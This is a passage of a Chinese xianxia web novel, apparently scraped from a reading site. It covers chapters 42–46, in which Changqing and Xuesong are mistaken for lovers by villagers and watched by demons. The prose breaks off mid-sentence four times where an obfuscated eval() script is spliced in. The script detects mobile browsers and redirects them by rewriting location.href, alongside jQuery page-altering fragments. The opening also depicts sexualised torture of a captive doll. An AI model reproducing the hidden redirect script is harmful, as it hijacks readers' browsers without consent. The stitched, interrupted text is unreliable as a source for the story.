魔尊抱着雪松,雪松在哭,眼眶红红的,脸颊湿润而苍白,像多年前发生意外沉入海底的幽灵船中的珠宝忽然在滔滔的海浪里重见天日,嘴唇一定是鲜红的,像是刚刚饮了一口滚烫的血。
魔尊在这种时候,充斥着欲望得到发泄后的放松,脸上大约是懒洋洋的餍足的神情,一边用手摩挲那些被他亲手留下的凹凸不平的疤痕,一边悄无声息,挖开新鲜的伤口,从里面得到更新鲜的血,闻着血腥味,把血涂抹在雪松不着寸缕的皮肤上,贴着雪松的身体,感受对面的惊恐和颤抖,品尝着对面无可逃脱的顺从,享受自己仿佛把仙尊碾压在身下的快感——
对魔尊而言,这大约是最值得快乐的事了,毕竟,在这宫殿之外,魔尊从来没有对仙尊做成过这种事。
仙尊和他做的人偶,毕竟不一样。至少从实力上,仙尊强多了。魔尊很清楚。这大概是他制作人偶的原因之一。
在一阵漫长的等待之后,长青看见,魔尊把人偶从十字架上解下来,抱在怀里,踹开了牢房的门,踩过湿漉漉的地面,顺着台阶,进了寝殿,把人放在了那张极其柔软宽大的床上。
轻纱般的床帘正随风飘动。
43.第 43 章
梦境在此结束了,长青忽然察觉有人靠近,猛然一惊睁开眼睛,发现雪松不知什么时候坐在了旁边,正端着一杯水望着他。
“你不是休息去了吗?”长青刚刚从那样绮丽昏暗的梦境中出来,就看见梦境中戏份极重的其中一个人,心脏狂跳,下意识绷起了脸,一边庆幸自己似乎并没露什么破绽,一边故作镇定问。
“已经休息好了,”雪松不知是看出来了,还是没看出来,对他微笑,“后半夜我来守吧?量他也跑不了。”
长青推辞说:“还是我来吧。”
雪松摇了摇头:“之前说好的。”
长青迟疑了一会儿,觉得自己要是继续坚持下去,有些太奇怪了,答应下来:“那好吧,拜托你了。”
他点了点头,向不远处的床铺走去,盘腿坐着,看了雪松一眼,开始入定,没多久就开始胡思乱想,心情烦躁,不得不给自己施了个沉睡术,立刻睡了过去。
雪松见他把眼睛闭上,坐在原位想了想,对他施了个入梦术,想看看他听了魔族之前说的那些话,究竟在想些什么。
他的梦里仍然是那阴森黑暗的宫殿,墙上燃着幽幽的鬼火,床上的轻纱垂下来,衣衫不整的魔尊正与不知从哪儿来的仙尊对打。
两个人从一边打到另外一边,全力以赴的同时,又有一种微妙的克制,仿佛他们都顾忌着,在这里而没有参加战斗的那个人。
雪松看见床上似乎有什么东西,弯着腰缩成一团瑟瑟发抖,好像一只被雨淋湿的小鹿,若有所思,向那边靠近。
他定睛一看,立刻看出床上的人和他长着一模一样的脸,他很确定这个世界上不应该有第三个人拥有这张脸。
那么毫无疑问了,这应该就是,长青梦中给他的身份,只不过,床上这个人看起来除了那张脸,一点也不像他,不管是身上的皮肤还是衣服,又或者是神色性格,和他根本两模两样。
就算床上那个人站在他的身边,穿着一模一样的衣服,把浑身上下的伤口都遮得严严实实,就凭他们脸上的神色,也绝不会混淆。
旁边的战斗忽然停了,雪松转过头去看,仙尊站在魔尊面前,拿着剑冷着脸,对他说:“原以为你好歹算个枭雄,现在看来你不过是个下贱的畜生,竟只知道思春,可叹可笑可恨!该死!”
“别装得这么冠冕堂皇好吗?”魔尊嗤笑了一声,像条蛇似的软绵绵靠在墙上,目光梳子似的将他上下打量一番,摇了摇头不屑道:“你别以为我不知道!你过来,既不是为了为民除害,也不是为了消灾解难,只是想多管闲事罢了!”
“既然知道,还不把人交出来?”仙尊毫不客气剑指着他问。
“知道是知道,”魔尊耸了耸肩,像只滑溜溜的蜗牛似的,直起身来,慢吞吞绕着自己刚才的位置,侧头看着仙尊,似笑非笑走了两步,用一种十分挑衅的语气问,“你又不承认,我为什么要把人给你?那是我的人!不是你的!我亲手做出来的人偶,难道还能归你不成?不要欺人太甚!”
他顿了顿,忽然又用一种温和了些许但更加挑衅的语气,笑眯眯对仙尊说:“只要你现在滚回去,我可以当做什么都没有发生过,你要是执迷不悟,我可不会跟你客气,你别忘了,你轻易杀不了我!你今天真要找事吗?”
仙尊沉默了一瞬:“看来你是说不通了。”
二人又打了起来,魔尊落败,捂着胸口吐了一鲜血靠在墙上,仙尊看也不看他一眼,从他身边经过直直走向那张仍被轻纱遮盖的大床,抬手一挥,纱幔瞬息间被杀机搅得粉碎,什么也不剩下,床上陡然亮了起来。
仙尊看着床上那张与自己一模一样的脸皱了皱眉,似乎不满又似乎不适,床上的人察觉到他的情绪,像只蜗牛似的,往被子里缩了缩,团得更紧了一些,紧得像一块放了一晚上但没有一丁点酵母的面团。
仙尊不欲多说,将他打晕,抱起来就走,三步并作两步,一个传送阵法在眼前缓缓转动,放出光芒,仙尊抱着人走了进去。
雪松趁机往里一看,阵法对面是仙尊的住所,他在那里住了许久,熟悉得很,立刻跟了上去,谁知道刚往前踏出一步,世界天翻地覆,原来是梦境已经结束。
他睁开眼睛,往周围一看,天已经亮了,明亮的光从窗户里透进来,但房间里仍然模模糊糊的,像是所有人都睡着的样子。
他往地上一看,地上的魔族昏迷不醒,不远处是吸气声,他转过头去,看见长青猛然睁开眼睛,像是受到了惊吓。
长青应该没有在梦中发现雪松,那他受到惊吓的原因,大约是因为梦醒,突然意识到,自己究竟在想什么惊世骇俗的事。
雪松笑眯眯走过去,向他问:“你醒了?天已经亮了。”
话音未落,雪松成功看见长青受到了比之前更大的惊吓,简直像是一只突然发现身边多了一条绿黄瓜的猫,快要跳起来了。
雪松露出一个微妙的笑,长青回过神来,看见他露出这种表情,又不由得想起了自己刚才的那个梦,起了一身的鸡皮疙瘩,又尴尬又不好意思,垂着眼睛神色十分复杂说:“那我们该走了是吗?”
雪松点了点头:“但那个魔族现在还没有处理。”
长青想了想,抬手开了个阵法:“我回宗门一趟,通知弟子过来把这个魔族带走,由他们看管,我看他是跑不了的。”
雪松微笑着点了点头:“那就拜托你了。”
“不客气。”长青摆了摆手,把魔族处理了,整理了一番衣服,起身向门走去,打算趁着周围现在应该没人的时候,回自己房间去。
雪松一步一步跟在后面送他,他打开门,往外一看,一下子愣住了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16720351|186838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,本来还以为门外现在没有人的,但是事实恰恰相反——
村长带着两个壮汉,一个提着酒,一个端着肉,身后还跟着两个大婶,一人提着一个食盒子,后面远远坠着几个小孩,似乎是因为好奇,正躲在树干后面探头探脑,往这里张望着,距离并不远,以小孩的视力,要看见这边的情况,绰绰有余。
更别提这些人后面,还有似乎是来散步的村民们,虽然要说整个村子的人都在这,或许有些夸张,但如果说大半个村子的人都在这儿,那就八九不离十了。
长青倒吸一口凉气,以他们和门的距离,或许还没有听见门里的谈话,但现在在门口看见他待在雪松的房间里,一副刚刚醒来的样子,不管怎么样都很古怪啊!
他忍不住立刻解释说:“我们昨天晚上什么也没干!”虽然有此地无银三百两的嫌疑,但这么多人在,解释一句是有必要的。
村长看见他出现在雪松的房间里,也愣了一下,听他这么一说,本来还没想到什么,却忽然像是受到了提示,脸上露出一种微妙的心照不宣的有些暧昧的笑,点了点头,用一种原来是这样的语气说:“我知道了。”
本来有两个房间,一人一个的,完全不会挤到,也不存在住不下的情况,偏偏要住在一起,这不就是舍不得分开的黏黏糊糊的小情侣吗?
大约是脸皮薄,不好意思,所以白天装作只是普通关系,到了晚上没人注意了,就迫不及待挤到一起去,恨不得滚成一团,不然怎么一大早上就急匆匆的要走?怕被人发现吧?还真是年轻人!
村长用一种飞快的速度将二人仔细打量了一番,发现雪松衣服还好,但长青是有些衣衫不整的,心中叹了一声,果然。
实际上雪松衣衫整齐,是因为后半夜的时间足够他整理自己,他不是刚醒来,是醒来有一阵了,这要是还睡眼惺忪,那可说不过去。
长青被村长的语气哽了一下,觉得自己好像解释不清楚了,看向了雪松,试图让雪松帮帮忙。
殊不知这个举动,落在村长和其他人的眼里,完全就是情侣做派,毕竟,谁家兄弟朋友发现事情和自己想的不一样,第一反应不是继续解释或者放弃,或者顺势开玩笑,又或者找证人,反而是看向自己身边的人求助呢?情侣间的依赖已经展露无遗了!
雪松接收到了长青的目光,笑眯眯走出来,十分认真,点了点头,对众人说:“我们昨天晚上什么也没做,只是聊了聊天。”
提着食盒的花大婶用一种怜悯又痛惜的目光看他。这孩子怎么这么乖哦!让干什么就干什么?还这么认真!只怕被人吃干抹净了,还要帮别人数钱呢!真是可怜孩子!
花大婶身边的牛大婶悄悄瞪了长青一眼。都跟人待在房间睡了一晚上了,还不认账!衣服都没穿好呢,就翻脸!还让人解释!也真干得出来!
44.第 44 章
这下子,长青也尝到了有口难辩的滋味了,神色复杂,欲言又止,忍不住再次看向了雪松,算是忽然对雪松之前的情况感同身受了,又有一点疑惑。
雪松真不是故意想让别人误会他们吗?
“二位,”村长干咳一声,打断了长青对雪松的注视,“我们来给你们送饭了,正好大家都在,洗漱了立刻就吃吧?不然等会儿冷了就不好吃了。”
果然是年轻小情侣,说一句话就把眼睛转过去了,一分一秒都不肯错过的,要是没人打断,恐怕能一直看下去吧?
究竟想要看到什么时候?地老天荒吗?这种情况根本不需要遮掩吧?因为根本没遮掩啊!或者说遮掩了也没用,太明显了,太明显了!
雪松看向长青问:“昨晚的事情麻烦你了,你也没休息多久,要不吃点儿,等会休息休息再走,养精蓄锐嘛?”
花大婶距离他们很近,听见了他们的话,睁了睁眼睛。昨晚的事情?昨晚的什么事情?不是说什么都没有做吗?那有什么可麻烦的?果然刚才的话是假的!
他们昨晚不仅做了事情,而且是一个麻烦另一个,花了好一段时间,所以才没能休息多久!除了那种事还能有什么?
更何况,什么事用得着专门养精蓄锐?他们不是说只是路过吗?看来他们准备有空的时候,重复昨天晚上的事情呢。
“如果你愿意留下来,”长青想了想,就算他着急走,也不能立刻就走,那太像落荒而逃了,更何况他一个人走,也没什么意思,就说,“那我也留下。”
村长忍不住摇了摇头。一个留下来,另外一个就跟着流下来,简直像是在锅里被煮化了就黏在一起的两块年糕,感情太好了!一般人可做不到!不是情侣根本不可能吧?!
雪松点了点头:“那就留下来,吃过饭休息休息再走。”
吃过十分丰盛的一餐,众人各自散去,长青回房间休息,午休之后,从床上起来,精神饱满,出门去散步,在路上遇到了花大婶。
花大婶手里挎着个篮子,一副刚刚办完事的样子,在路上见到他,没想到他已经睡醒了,表情有点惊讶,立刻对他挥手。
他走过去,花大婶就拉着他絮絮叨叨起来:“小伙子你年轻,你听我一句劝,小情侣闹矛盾,那就是床头吵架床尾和,没有不会好的,你别太放在心上。”
长青完全想不到花大婶说的小情侣是指他和雪松,只想到了雪松和仙尊,若有所思,点了点头,又想到仙尊已死,雪松痴心不改,自己似乎毫无希望,皱了皱眉,脸上露出颓丧的神色:“我知道。”
花大婶看他的表情,还以为他想到了雪松和自己,也不知道他们是不是吵架了,但看起来像,毕竟他们的气质都偏斯文,似乎不是动手的类型,脸上身上也没伤,早上还有点蜜里调油似的,就说:“很多时候啊,两口子吵了架,没有什么的,家家户户都有吵架的,吵完和好,感情反而更好呢。”
长青皱起眉头。仙尊虽然死了,但如果仙尊活过来,对雪松岂不是失而复得?他们要是吵一架,以他们的感情,一定很快就能和好吧?到时候和好了,关系肯定比现在还深。那他又算什么呢?他在心里默默叹了一口气,脸上不由自主带出了些许失落的神色。
花大婶还以为他失落是因为早上对众人说,昨天晚上和雪松什么也没做,惹恼了雪松,所以,私底下雪松不理会他了,靠近了一些,低声给他出主意说:“只要服个软低个头,对面一定不生气的。”
长青若有所思:“是吗?”仙尊已经死了,不管雪松怎么生气,仙尊是不可能重新出现来服软低头的,这么看,他们复合的概率不高。
长青高兴起来:“谢谢!”他说完,就迫不及待走掉了。
花大婶还以为自己的劝说起了效果,也高兴走掉了,同时,更加坚定了,长青和雪松是一对的认知。
如果真不是一对,刚才听了怎么不反驳?
雪松并没出门,只是在房间里打坐,听见有人敲门,走过去打开一看,门外是牛大婶,牛大婶挎着个篮子,一脸严肃对他说:“我本来不想来的,因为有事,但我想了想还是来了,因为我觉得,有些东西你应该知道。”
看对面这样严肃,雪松险些还真以为对面要说什么重要的事,但牛大婶接着说:“就是夫君不好,也是可以和离的,更别提,还不是夫君的,没有父母之命,媒妁之言,就算两相欢好,也只能算两情相悦,若是不愿,随时可以走。”
雪松明白牛大婶是在说长青的事,因为之前众人误解他和仙尊是一对已经不止一次了,他对这种被误解的情况十分熟悉,只不过,从前旁人就算有误解,也误解他和仙尊,现在误解他和长青,倒算得上新鲜。
从经验上来看,他知道直接解释对面肯定是不信的,反而会觉得他在欲盖弥彰,或者干脆就是不好意思,因此他想了想,没有解释,仿佛默认又仿佛听不懂一样,笑道:“我知道,要是我找的人不好,我一定走的。”
牛大婶听他这样含糊,忍不住恨铁不成钢问他:“那你找的那个,究竟为什么那样?他不负责啊!”
长青走到不远处,听见牛大婶的话,停了下来。找的那个?仙尊吗?为什么那样?为什么明明看见误会却不出来解释?
雪松眨了眨眼睛,一想到自己是正在迫害长青,就觉得想笑,一脸热恋中的情侣什么都听不进的样子,认真辩解说:“他不是不负责,只是为我考虑,所以才要走,不然,大可以留下来,只是名声不好。”
长青愣住了。仙尊抛下雪松死了,雪松居然觉得,这是仙尊为他考虑?这么说在雪松心里,不为他考虑才会留下来?因为名声?可仙尊哪里是在乎名声的人?仙尊
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16724687|186838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
分明是在乎雪松,才会是现在的结果!
牛大婶觉得他没救了,忍不住摇了摇头,十分无可奈何:“你这孩子!真像听不懂似的!看着挺聪明的,不应该呀!算了、算了。”
“他要是对你不好,你就回来找我,我这虽然没有大房子,也没有多少地,但腾出一个地方给人住,多加一双筷子还是行的,”牛大婶嘱咐了一番,转头准备离开,一眼看见不远处准备回来的长青,又转头对雪松说,“别带他来!我最看不惯这种不负责的了!”
雪松仍然辩解说:“他很好!”
牛大婶摇了摇头,只当他现在被感情蒙住了双眼,什么都看不清楚,也就不与他计较,走远去了。
长青能感受到牛大婶对于自己那种微妙的不满意,也不是不知道来源,忍不住摇了摇头,无可奈何,又觉得有点好笑,走到雪松面前说:“他们倒好像真觉得我跟你是一对儿了!”
雪松笑眯眯回答:“只是误会而已。”
长青顿了顿,心念一动,忽然忍不住想问:“如果,不是误会呢?”
“那算他们眼力好。”雪松满不在乎耸了耸肩。
长青有些失落,这不是他想试探得到的结果,但这也是可以预见的,他在心里叹了一口气,也就调整过来,向雪松问:“饭也吃了,休息也休息了,那我们现在就走,还是过会儿再走?”
雪松没有什么继续留下来的必要,就说:“现在走吧。”
长青点了点头,二人一起去找了村长,说明了要离开的事,正好花大婶和牛大婶也在,两个大婶似乎刚刚交流完,看见他们一起来了,还在交换眼神。
我就说他其实还是有救,是个知错能改善莫大焉的好孩子呢。
得了吧,虽然我确实看见他去找同伴了,但如果他是因为听了你的劝说才去找的,可见其是心不诚,不然自己就能想出来,应该怎么做,一开始也不见得犯错,别太指望他了。
不管怎么样,他们已经和好了,看起来气氛很融洽,不是吗?
这倒确实,既然他们已经和好了,我们也没什么可掺和的,随他们去吧,他们总比我们更了解对方些。
花大婶接收到了牛大婶的意思,赞同点了点头。
村长听说二人要走,挽留了一番,但二人去意已决,不想过多打扰,也不想兴师动众,村长就把他们送到村口挥了挥手。
二人腾云驾雾,很快到了东海,落了地之后,时间已晚,他们就地休息了一夜,第二天一早,就去找了三生幻境石。
为了避免这石头对凡人造成影响,这东西是存在东海水中的,但要是存在表面容易被凡人打捞起来,存在深处又漆黑无比,要是无人看管,还不知道会变成什么样,要是不打理,那简直不能用。
所以,原本就生活在水中的鲛人发现那石头后——
45.第 45 章
鲛人们干脆围绕着那块石头建起了宫殿,又在旁边修了四通八达的道路,还有密密麻麻的洞府,干脆住在了附近。
对石头和鲛人们感兴趣的人来到这里,发现情况和从前大不一样,或是留下来摆摊,或是回家去谈论,久而久之,这里越发热闹。
现在看来,已经像是水下的一座小城,可以当做观光景点了。
长青知道三生幻境石在哪,但是走过去之后,被鲛人在门口拦住了,只能看见宫殿,看不见石头。
守门的鲛人告诉他,这里每日十分客满,今日已经满员了,不许再入,他要是想进去,得提前预约才行,从今天开始预约,至少也要等到一周之后才能进去。
他皱了皱眉,觉得时间有点长,但考虑到最近似乎没有什么重要的事情必须要去做,也不是等不起,就先预约了两人份的。
鲛人让他在登记簿上写下自己的名字,递给他两块贝壳,告诉他,一周之后,带着这两块贝壳过来,就可以进去了。
他点了点头,带着贝壳离开了,雪松在不远处等他,见他过来,看了一眼他手里的贝壳,好奇问:“什么时候能进去?”
“一周后。”长青把手里的贝壳分了一个给雪松,转告他去的时候拿出来证明身份,他收下贝壳,若有所思,点了点头。
“那我们之后去哪住?”雪松把贝壳收进储物戒指问道。
“我找找看吧。”长青将街上的旅店都望了望,一边走一边回答。
雪松点了点头,跟在他身后,直到他找到一家合适的,开了两间房,拿到了钥匙,开了门,走了进去。
“我就住在隔壁,”长青拿着钥匙说,“有什么事随时找我。”
雪松点了点头,感觉这个画面似曾相识,想起来上一次他们住在旅店的时候,仿佛还是在琉璃村出任务,结果当天晚上就遇到了,寻仇入梦的鬼。
希望今天一切正常吧。
抱着这种希望,雪松关上门,将房间打量了一番,确认没有什么不对劲的地方,松了一口气,早早洗漱了,有些身心疲惫,立刻倒在床上睡了。
半夜忽然听见房间里有悉悉索索的声音,担心是老鼠,所以睁开眼睛来看,结果一睁开眼睛就看见床边有一个人,直勾勾盯着他,两只眼睛在夜里发亮,像夜明珠似的。
他吓了一跳,毫不犹豫,反手一击,对面往后一退,躲开了这次的攻击,却不由得震惊起来,忍不住大声问道:“你怎么会这样的招法?这根本不是普通人能知道的!更不是寻常人能用出来的!你是什么人?居然还长着这样一张脸?”
雪松不明白他为什么问这个,因为刚才的随手一击,不过是下意识的反应,根本没有细想,自然也不知道有什么特别,值得对面这样一问。
因此他皱着眉头说:“听不懂你在说什么。”
隔壁的长青听见这里的动静,过来敲门一边敲一边在门口问:“我刚才好像听见你房间里有什么东西在响,发生什么事了吗?”
床边那个人皱着眉头往门口一看,骂道:“早不来晚不来,偏偏这个时候来,真是坏事!”
话音未落,他已经摇身一变,成了一团流水,顺着旁边不远处的窗户缝隙,迅速溜走了。
长青在门口听见房间里有雪松之外的人的声音,更加着急,使劲敲起门来:“什么人在讲话?快开门!不然我不客气了!”
雪松走过去开门,长青愣了一下,顺势往他身后张望,没有看见人,有些疑惑问:“究竟是怎么回事?”
雪松请他进门来说,因为同一层楼的其他住户,已经因为这里的声音而忍不住要开门了,他听得见开门的声音,就进去了。
雪松刚把门关上,外面其他房间的门就打开了,没有看见走廊上有什么,皱着眉头又把门关回去了,顺便骂骂咧咧,吵了两句,怎么会有人大晚上不睡觉,一个劲敲门还不见踪影,也就没了。
雪松请长青坐下,说了刚才的事:“我躺在床上听见有声音,以为是老鼠,睁开眼睛一看,有人在我床边,你听见的声音,大约是那个人发出的吧。”
“你不确定?”长青有些疑惑。
“我能确定什么?”雪松挑了挑眉:“我一开始可是睡着的,哪里知道那许多?他也没承认,我也没来得及问,你就来了。”
“幸好不是明天要去参观那块石头,”长青若有所思,“不然,第二天早上一定没精神的。”
雪松点了点头。
“你刚才看见那个人长什么样穿什么衣服了吗?声音怎么样?有没有特点?也不能白让他来,要是能找到,好歹要处理的。”长青问。
雪松想了想,摇了摇头:“那人用了混淆法术,我看不清他的脸和衣服,但从他身上那种在此地游刃有余的感觉,他应该是鲛人,本地的,不然不会对这里这样熟。至于声音——”
雪松想起他临走前说的话,顿了顿,不知道是什么意思,觉得说出来徒增麻烦,就含糊道:“震惊,好像认识我用的招式,也许看谁用过吧。”
长青将信将疑点了点头:“原来是这样。”他想了想:“虽然那个人已经走了,但万一又回来呢?那你一定不安全的。反正我都已经来了,今天晚上我就在这,替你看着,你再去休息吧?”
“那好吧。”雪松不想和他继续谈论刚才那个人的事,觉得他说的有道理,也确实想休息了,答应完之后,就躺回床上重新睡着了。
长青信守承诺待在房间里坐着,睁着眼睛,防备着之前那个人卷土重来,一夜未眠,于修仙者而言,这不算什么。
除了精神稍稍紧绷些,别的还好。
与此同时,从雪松房间里逃出来的鲛人,解除了混淆术,把身上一堆杂七杂八
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16732355|186838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的东西都取下来丢到一边,感觉自己像是刚从麻袋里面探出头来,深吸了一口气,找了个椅子,坐了下来,腰背迅速弯了下去,整个人放松不少,连表情也舒适了,一副回家的样子。
旁边的鲛人问他:“你不是去旅店客房了吗?没得手吗?”
他摆了摆手,一脸无可奈何,十分疲惫回答道:“别提了!你不知道!今天新来的那两个客人之一,发现我了,没有睡熟,还跳起来打我,这倒也没什么,正常反应而已,但是,他用的招式十分眼熟!”
旁边的鲛人好奇问:“能有多眼熟?”
他倒吸了一口凉气,心有余悸说:“从前仙尊也来过这里,当时我们的人,也去探过仙尊,我当时跟着别人去的,只是个跟在后面的小喽啰,毕竟仙尊那时候已经声名鹊起,听起来就不像寻常人,只让一个人去,恐怕回不来,所以多去几个人照应。”
旁边的鲛人听得兴起,连连点头。
“仙尊早有准备,我们一去他就发现了,完全是设圈套给我们,我们不知情,一脚踏进去,他就开始收网,”他颤颤巍巍咬着牙,压着心里那股迟来的恐惧,像一个劲往水面上浮的泡泡一样,无法控制自己,“他当时用的招数,和我这次找的那个人,用出来的一模一样!如果不是知道,他确实已经死透了,我几乎怀疑,是借尸还魂!”
旁边的鲛人若有所思:“借尸还魂,是不太可能,但用一样的招式,莫不是情人?毕竟,一般人可不会把自己专用的招式随意交给别人。感情要是不好,做这种事,不是折磨自己吗?”
他猛然一惊:“原来如此!怪不得他们长着一样的脸!一定是感情太深了,一个死了,另外一个接受不了,就干脆把自己变成他!”
他狠狠打了个哆嗦,起了一身的鸡皮疙瘩,一脸惨白,充满了震惊和惊恐:“好变态!幸好我及时跑了!不然还不知道怎么样呢!”
今天的事情稍稍有些不同寻常,跟踪雪松的魔族,自然把事情上报给了魔族的长老,长老听后哈哈大笑:“一样的招式?只怕是当初魔尊见仙尊对他有意,就顺水推舟,把人偶送了出去,暗中让人偶潜伏在仙尊身边,把仙尊骗得团团转不说,还趁机学到了仙尊的独家招式!魔尊不愧是魔尊!”
魔族们若有所思,觉得很有道理,连连点头,跟着吹捧起来:“魔尊只靠一个人偶,就轻而易举办成了别人都办不到的事,真了不起!”
“这件事上那个人偶居功至伟,”魔族长老慢条斯理说,“你们且跟着,不要错过任何消息,我看,还有好戏呢!”
魔族们连连点头:“是!”
魔族们正要切断通讯,长老忽然想到,魔尊亲手制作的人偶,不可能没有强行控制的办法,就丢给魔族们一个小鼓说:“这是魔尊曾经的控制法器,玲珑小鼓,你们拿着这个,偷偷靠近人偶,试试效果。”
46.第 46 章
要是玲珑小鼓,真能控制雪松,那就说明雪松确实曾经是魔尊的人偶,而且,至今带着洗不掉的印记。
如此,魔族们就可以利用这一点,来控制雪松为他们办事,绝对可以达到事半功倍的效果。
毕竟,如果不是知情者,应该很难有人会怀疑,一个长得和仙尊一模一样的人,可能和魔尊有交集。
“小心一些,”魔族长老对魔族们嘱咐道,“不要被发现了,最好趁人偶脆弱的时候使用法器,否则,容易被反噬。”
魔族们点了点头,把东西收了起来,回答道:“我们知道了。”
次日一早,旅店的小二就来敲门,一边提供叫醒服务,一边问:“请问需要我们为您提供早餐吗?这是额外收费的项目。但只要这儿有的,您给了钱,我们就一定能给您带来!”
雪松醒了过来,从床上坐起身,长青向他问:“你要早餐吗?其实来这尝尝也好。这里的食物和别的地方都不一样。就当是来玩儿了?”
雪松点了点头,眯着眼睛低着头,还有一点想躺回去再睡一觉,毕竟昨天晚上被打扰过了,没能好好睡,现在还有点迷迷糊糊的,随口道:“那给我带一份东街珍宝堂的小鱼干吧。”
长青点了点头,一边去开门一边说:“正好我也没尝过,那我也来一份这个吧。”
他开了门,对门外的小二说了地址和食物名,问了多少钱,把钱付了,小二收了钱,笑眯眯说一定尽快把食物带过来,准备走的时候,又像是顺口恭维一般道:“那地儿的小鱼干做的好,尝过的客人都念念不忘,来第二次一定还要点的,二位真是行家,一来就知道这个!”
长青顿了顿,微笑了一下:“是吗?”
他忽然记起,昨天并没有和雪松去过那边,那雪松是怎么知道那边有这么一家店和那么些东西的?曾经和仙尊一起去过?那可真是尝过就念念不忘了!
不知从前什么时候去的,到现在都记得这样清楚,不管是名字,还是东西,别人一问,就立刻回答,一点的多余的回忆或者思考的时间都没有,已经想了很久了吧?
啧,感情真好啊。让人几乎忍不住有点嫉妒了。幸好仙尊已经死了,感情再好也不会活过来,不然,他说不定会因为被迫围观情侣秀恩爱而爆炸。
“是啊,是啊。”小二连连点头,说完又问:“那您这要是没什么事儿,我现在就去买去了?”
长青点了点头,小二转身离开。
小二带着钱去了珍宝堂,买了两份小鱼干,珍宝堂的人问:“我们今天做活动,情侣第二份半价,要买活动情侣款吗?会便宜一点。”
小二想了想,明明有两个房间,却在第二天早上出现在同一个房间里,又不是缺钱或者没有多余的房间,除了情侣,还能是什么呢?
而且昨天晚上听见那层楼大晚上砰砰的响,之前还带着些许惊呼声,究竟在干什么,是显而易见的吧?想必不会有情侣之外的人做这种事。
既然如此,小二点了点头,对店员说:“请给我活动情侣款的。”在不会招惹顾客的情况下,能省钱总是好的。
店员把小鱼干打包好之后,递给了小二,小二付了钱,转身离开,回到了旅店,站在房间门口敲了敲门。
还是长青过来开的门,小二一边把东西递出去,一边试探着说:“今天那边搞活动,情侣款的第二份半价,所以买了情侣款的。”
长青面不改色接了东西点了点头:“我知道了。”
小二松了一口气,转身离开。
他就说他们是情侣吧!如果不是情侣,这个时候应该已经跳起来了!或者忍不住想笑之后辩解。他们根本没有这种反应,说明他们就是情侣!
更何况,现在都已经早上了,两个人也都已经醒了,即将准备吃早餐了,居然还是不分开,仍然待在一个房间里,这不是黏黏糊糊的热恋中的小情侣,这是什么?
能走的机会可多了!但不走还开门,这不是默认自己是房间的主人之一吗?典型的情侣症状!他不会认错的!
长青把两份情侣款的小鱼干放在了桌上,雪松已经洗漱之后,走了过来,看见桌上包装完好的鱼干,坐了下来。
“现在可以开始吃了吗?”雪松看向长青问。
“可以,”长青点了点头,“你吃吧。”看见情侣款的包装,居然一点反应都没有吗?这么平淡?果然是曾经见过,所以见怪不怪了吧?
仙尊曾经来过这里,当初和他一起来的就是仙尊吧?他们甚至是一起吃的情侣款吗?!这也太腻歪了吧?!
雪松什么时候记起这些东西的?他记起这些东西,居然面不改色的?从外表上看,完全看不出来他想起了什么!真是好耐性。
雪松拆开包装,咬了一口,表面上全是红通通的油亮亮的酱汁,整只鱼已经被炸得酥透,嚼起来干巴巴的,脆脆的,带着一点咸鲜的辣味,香气扑鼻,酱汁四溢,看不出本来的模样,只是一长条。
长青看着他拆开包装如此熟练,更加笃定他绝对曾经来过这里,而且尝过这家店的食物,不然怎么会一点犹豫都没有呢?
不过,长青隐约记得他之前从来不吃鱼的,就试探着问:“你喜欢这个?”
雪松顿了一下:“这个味道不错,没有刺,看起来也不恐怖,又是本地特色,价钱也不贵,所以还好,特别喜欢,倒也谈不上。”
长青将信将疑,点了点头又问:“那你喜欢鱼吗?”
雪松担心他真以为自己喜欢鱼,以后顿顿都上鱼,连忙摇头回答:“没有,只是觉得这里的这个比较好吃而已,其他地方的,我是不吃的,因为完全不一样。”
其他地方的鱼,又有刺,又没有浓郁的酱汁,又有很清楚的鱼的形状,有些甚至能看见死不瞑目的,有点恐怖的眼睛,闻起
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16739205|186838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来有一股腥味,一尝起来能很明显感觉到是鱼,也不一定是辣的,根本不在他的食物审美点上,他没有办法接受。
